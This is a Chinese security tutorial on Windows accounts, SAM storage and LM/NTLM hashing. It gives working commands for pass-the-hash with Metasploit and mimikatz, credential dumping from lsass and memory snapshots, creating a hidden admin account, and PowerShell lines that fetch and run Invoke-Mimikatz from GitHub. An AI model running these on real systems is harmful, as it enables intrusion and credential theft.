目录

用户帐户

Windows 默认账户

Windows 内置用户账户

查看、创建和删除账户

组账户

内置组账户

组的查看、创建和删除

Windows中对用户密码的处理

LM-hash

NTLM-hash

哈希传递攻击(Pass-the-Hash,PtH)

MSF进行哈希传递攻击PtH

mimikatz进行哈希传递攻击PtH(工作组)

mimikatz进行哈希传递攻击PtH(域)

基于SAM文件的密码破解

使用 mimikatz 破解windows登录密码

使用PowerShell命令读取密码

从内存中读取密码


用户帐户

用户帐户是对计算机用户身份的标识,本地用户帐户、密码存在本地计算机上,只对本机有效,存储在本地安全帐户数据库 SAM 中,文件路径:C:\Windows\System32\config\SAM ,对应的进程:lsass.exe  。通过本地用户和组,可以为用户和组分配权利和权限,从而限制用户和组执行某些操作的能力。

  • 不同的用户身份拥有不同的权限
  • 每个用户包含一个名称和一个密码
  • 用户帐户拥有唯一的安全标识符(Security Identifier,SID)

当我们去进程管理里面杀死 lsass.exe 进程时,windows会提示遇到错误,然后关机。

查看用户的SID

  • whoami  /user     查看系统当前用户的SID
  • wmic  useraccount  get  name,sid      查看所有用户的SID

Windows 默认账户

用于特殊用途,一般不需更修改其权限

  • 与使用者关联的用户帐户 Administrator(管理员用户)
  • 默认的管理员用户 Guest(来宾用户) 默认是禁用的

Windows 内置用户账户

与windows组件关联的用户账户

  • System (本地系统):为windows的核心组件访问文件等资源提供权限
  • Local Service (本地服务):预设的拥有最小权限的本地账户
  • Network Service (网络服务):具有运行网络服务权限的计算机账户

查看、创建和删除账户

使用命令查看、创建和删除账户

  • net  user     查看系统账户
  • net  user   xie      123   /add        创建新用户xie,密码设置为 123
  • net  user   hack$  123  /add        创建隐藏用户hack,密码为123
  • net  user  xie        查看账户xie的属性
  • net  user  xie  x456.    将用户写的密码修改为x456.
  • net  user  xie  /del    删除用户xie
  • net  localgroup   administrators  xie    /add      将普通用户xie提权到管理员
  • net  localgroup   administrators  hack$  /add   将隐藏用户hack提权到管理员

组账户

  • 组是一些用户的集合
  • 组内的用户自动具备为组所设置的权限

内置组账户

需要人为添加成员的内置组

  • Administrators
  • Guests
  • Power Users
  • Users(标准用户)
  • Remote Desktop Users

administators 组内的用户,都具备系统管理员的权限,它们拥有对这台计算机最大的控制权限,可以执行整台计算机的管理任务。内置的系统管理员账号 Administrator 就是本地组的成员,而且无法将它从该组删除。如果这台计算机已加入域,则域的Domain Admins 会自动地加入到该计算机的Administrators组内。也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限

Guests 组是提供给没有用户帐户但是需要访问本地计算机内资源的用户使用,该组的成员无法永久地改变其桌面的工作环境。该组最常见的默认成员为用户帐号Guest。

Power Users 组内的用户具备比Users组更多的权利,但是比Administrators组拥有的权利更少一些,例如,可以:创建、删除、更改本地用户帐户;创建、删除、管理本地计算机内的共享文件夹与共享打印机;自定义系统设置,例如更改计算机时间、关闭计算机等。但是不可以更改Administrators,无法夺取文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。

Users 组内的成员只拥有一些基本的权利,例如运行应用程序,但是他们不能修改操作系统的设置、不能更改其它用户的数据、不能关闭服务器级的计算机。所有添加的本地用户帐户者自动属于Users组。如果这台计算机已经加入域,则域的Domain Users会自动地被加入到该计算机的Users组中。

Remote Desktop Users 组内的成员拥有远程桌面登录的权限。默认Administrators组内的成员都拥有远程桌面的权限。

动态包含成员的内置组

其成员由Windows程序“自动添加” ,Windows会根据用户的状态来决定用户所属的组 ,组内的成员也随之动态变化,无法修改

  • Interactive: 动态包含在本地登录的用户
  • Authenticated Users:任何一个利用有效的用户帐户连接的用户都属于这个组。建议在设置权限时,尽量针对Authenticated Users组进行设置,而不要针对Everone进行设置。
  • Everyone :任何一个用户都属于这个组。注意,如果Guest帐号被启用时,则给Everone这个组指派权限时必须小心,因为当一个没有帐户的用户连接计算机时,他被允许自动利用Guest帐户连接,但是因为Guest也是属于Everone组,所以他将具备Everyone所拥有的权限。

组的查看、创建和删除

使用命令查看、创建和删除组

  • net  localgroup    查看系统的组
  • net  localgroup   marketGroup   /add         新建一个marketGroup的组
  • net  localgroup   marketGroup   xie  /add   将用户xie加入marketGroup组中
  • net  localgroup   markGroup     查看markGroup组内的成员
  • net  localgroup   marketGroup   xie  /del    将用户xi从marketGroup组中移除
  • net  localgroup   marketGroup   /del           删除marketGroup组
  • net  localgroup  "remote desktop users" hack /add     将用户hack加入远程桌面组
  • net  localgroup  "remote desktop users" hack /del      将用户hack从远程桌面组删除

Windows中对用户密码的处理

Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所谓哈希(hash),就是使用一种加密函数对其进行加密。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一部分是 LM-hash,第二部分是 NTLM-hash。在windows200以后的系统中,第一部分的 LM-hash 都是空值,因为LM-hash可以很容易的破解,所以windows2000之后这个值默认为空,所以第二部分的NTLM-hash才真正是用户密码的哈希值。

通常可从Windows系统中的SAM文件 和 域控的 NTDS.dit 文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash

这个网站提供对密码转换成 LM-Hash 和 NTLM-Hash 的操作:https://asecuritysite.com/encryption/lmhash

LM-hash

LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现,NTLM哈希用于Windows 2000及其之后系统中。新版操作系统因兼容缘故仍然支持LM哈希算法。但是在 Windows Vista 和 Windows 7 开始,LM-hash是默认关闭的。

LM加密过程

  1. 口令大写
  2. 转换为HEX
  3. 用0补齐14字节(112bit)
  4. 两组分组
  5. 每组7字节HEX转为二进制,每7bit一组末尾加0,再转换成十六进制组成得到2组8字节的编码
  6. 两组8字节编码,分别作为DES加密key为字符串“KGS!@#$% ”进行加密
  7. 两组DES加密后的编码拼接

注:自Windows2000以后的 windows 系统都是用 NTLM-hash 处理用户的密码

NTLM-hash

New Technology LAN Manager(NTLM)哈希算法是微软认可的另一种算法。Windows2000以后的 windows 系统都是用 NTLM-hash 处理用户的密码

NTLM加密过程

  1. 密码换成HEX
  2. HEX字符串进行ASCII转Unicode
  3. Unicode字符串进行标准MD4单向哈希加密
123456 -> hex(16进制编码) = 313233343536
313233343536 -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

在线NTLM加密的网站:NTLM密码加密计算器

如图,第三部分是LM-Hash,第四部分是NTLM-Hash。目前的LM-hash是空值,所以第四部分的NTLM-hash才是用户密码的哈希值。

哈希传递攻击(Pass-the-Hash,PtH)

MSF进行哈希传递攻击PtH

有些时候,当我们获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和NTLM-hash),这个利用跟工作组环境或者域环境无关。

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit

mimikatz进行哈希传递攻击PtH(工作组)

当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。

#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9#使用xie用户的NTLM哈希值进行攻击
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。

或者可以直接将该主机的C盘映射到本地的K盘。

非 administrator 用户权限不够!

注:只能在 mimikatz 弹出的cmd窗口才可以执行这些操作!

mimikatz进行哈希传递攻击PtH(域)

在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值

  • 域:xie.com
  • 域控:WIN2008.xie.com
#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5 #使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9

基于SAM文件的密码破解

SAM文件即账号密码数据库文件。 当我们登录系统的时候,系统会自动地和 C:\Windows\System32\config\SAM 中的SAM文件自动校对,如发现此次密码与SAM文件中的加密数据符合时,你就会顺利登录;如果错误则无法登录。在系统运行期间,SAM文件一直是被占用的,是无法打开和编辑复制的,我们可以进入PE系统进行复制然后在利用软件进行密码的修改

  • U盘启动,运行DiskGenius分区工具
  • 找到 SAM 文件,复制到U盘
  • 在另一台电脑上下载软件 NTPWedit 并运行,打开 SAM 文件,解锁并修改密码
  • 把 SAM 文件复制到原来的电脑上,覆盖原文件

注意:这样只能修改密码,并不能知道密码的明文

使用 mimikatz 破解windows登录密码

mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。

  • 下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行
  • 提升至debug权限在提示符下,输入:privilege::debug
  • 抓取密码: sekurlsa::logonpasswords

使用mimikatz读取域控上所有域用户的Hash值

注:得在域控上以域管理员身份执行mimikatz

  • 提升至debug权限在提示符下,输入:privilege::debug
  • 抓取密码: lsadump::lsa /patch

使用PowerShell命令读取密码

读取密码明文

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

读取密码hash值

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

从内存中读取密码

我们都知道虚拟机有拍摄快照的功能。拍摄快照的瞬间虚拟机就会把你当前的内存保存为一个文件,文件以 .vmem 结尾,该文件的大小就是你虚拟机的内存大小。我们现在要从快照内存中读取出密码。

首先,利用 Bin2Dmp将该内存文件转成dmp文件,

Bin2Dmp.exe "Windows 7 x64-381e3888.vmem" windows7.dmp

然后我们在 windbg 中载入该文件

依次在 kd>  中输入下面的命令

.symfix     #设置符号路径
.reload     #重新载入
.load  D:\Cracer渗透工具包v3.0\Cracer渗透工具包v3.0\Cracer渗透工具\windows安全\mimikatz\x64\mimilib.dll   #这个路径是你mimikatz的路径
!process 0 0 lsass.exe      #查找lsass进程,并将该进程转到本机环境中
.process /r /p fffffa801ae19060            #这里的fffffa801ae19060 是上一步查找lsass进程的地址,注意替换
!mimikatz        #载入mimikatz,读取密码

可以看到,已经读取出密码来了

链接: https://pan.baidu.com/s/1aofXft4YCSGEDEHQcgnCzw       提取码: p7vx

相关文章:Windows中的认证体系

Windows中的用户和组以及用户密码处理相关推荐

  1. win10计算机的用户和组,win10用户和组介绍

    1.Users 普通用户组,这个组的用户无法进行有意或无意的改动.因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序.Users 组是最安全的组,因为分配给该组的默认权限不允许成员修 ...

  2. flowable 和 activty工作流 使用视图方案解决系统内部用户、组、用户和组关联

    开源项目若依项目集成flowable工作流用户解决方案 -- ---------------------------- -- View structure for act_id_group -- -- ...

  3. 计算机组和用户组,计算机管理本地用户和组里面用户和组有许多,我只想保留一个用户和一个组,其他的可以删除不,有没有影响...

    Administrators 属于该administators本地组内的用户,都具备系统管理员的权限,它们拥有对这台计算机最大的控制权限,可以执行整台计算机的管理任务.内置的系统管理员帐房Admini ...

  4. 微软surface计算机管理没有用户和组,“老用户不如狗”系列:微软数十款Surface设备惨遭Win11遗弃...

    微软正式公布了下一代操作系统"Windows 11".随后有微软工作人员向外媒透露,共有13款Surface系列平板电脑可升级至Windows 11,其中旧款Surface机型中仅 ...

  5. linux目录所属用户和组,管理用户所属的用户组《 Linux 文件与目录权限 》

    现在 app 这个目录的权限是 777 ,你会看到在这里它会高亮显示,因为 777 权限比较危险.这里我们先去掉其它人对这个目录的写入权限.chmod o-w app ... 如果仍然想让 wangh ...

  6. 【CyberSecurityLearning 3】批处理、用户与组管理、服务器远程管理、破解Windows系统密码

    目录 一.批处理编写 1.1.批处理作用 1.2.如何创建批处理 1.3.批处理基本语法 1.3.1.@echo off 1.3.2.pause 1.3.3.title 1.3.4.echo. 1.3 ...

  7. 【网络安全学习实践】Windows系统密码破解防护及用户和组管理

    halo~我是bay_Tong桐小白 本文内容是桐小白个人对所学知识进行的总结和分享,知识点会不定期进行编辑更新和完善,了解最近更新内容可参看更新日志,欢迎各位大神留言.指点 [学习网络安全知识,维护 ...

  8. Windows用户与组管理、NTFS权限、文件共享

    用户与组管理.NTFS权限 一.用户与组管理 用户 SID 本地用户默认有内置账户: 查看用户管理:计算机右键管理 Windows用户与组管理的操作练习 二.NTFS权限: 三.文件共享服务器 隐藏共 ...

  9. 【Linux系统】第9节 linux系统中用户分类以及用户与组属性的修改示例

    目录 1 用户的分类 2 用户与组的相关设置文件 2.1 passwd文件 2.2 shadow文件 2.3 group文件 3 CentOS系统中用户与组的创建及属性的修改示例 3.1 相关命令 3 ...

  10. Linux系统管理之用户和组

    用户和组管理 多用户操作系统和单用户操作系统 单用户操作系统只能同时一个用户在线,而多用户操作系统可以同时多人在线.Linux中多用户之间的切换alt+F1到F7,alt+f7是图形模式,其它是命令行 ...

最新文章

  1. MySQL 乐观锁与悲观锁
  2. skynet 报错 skynet 服务缺陷 Lua死循环
  3. java file源码_java File源码理解,探索File路径
  4. OpenCV使用pthread实现多线程加速处理图像(C++)
  5. 去掉登陆下的“扫一扫,访问微社区
  6. java面向对象之父类的引用指向子类的对象
  7. 763 划分字母区间
  8. Docker常用命令,这些都要会!
  9. python gRPC
  10. 提升SQL Server速度 整理索引碎片
  11. JPA(五):映射关联关系------映射单向多对一的关联关系
  12. matlab运行为什么要选中代码,性能 – 为什么(在MATLAB中)这个代码更快?
  13. Testbench编写详解
  14. 使用运放构建电压跟随器
  15. 设置IIS指向另一台机器上的共享目录(动易sw)遇到的问题
  16. Xcode8 解决注释以及VVDocumenter无法使用问题
  17. 惠普总裁口述的职业规划(3)
  18. Html5--audio标签使用教程
  19. android 模拟器 驱动,【新手指导】模拟器报错列表及解决办法!
  20. STM32RTC简单万年历制作

热门文章

  1. 利用ArcMap渲染DEM的两种方式
  2. [游戏开发]iOS 游戏开发教程资源
  3. C#/.Net 的托管堆和垃圾回收
  4. WPF的prism框架
  5. GAN:两者分布不重合JS散度为log2的数学证明
  6. 编写MQTT客户端程序——python
  7. 【音乐可视化】音乐表演可视化软件分析
  8. 使用WebStorm开发web前端 网页中文乱码问题的解决方案
  9. python vecm_用Eviews处理有关VARVECM模型的几个问题
  10. C语言中除法怎么取得小数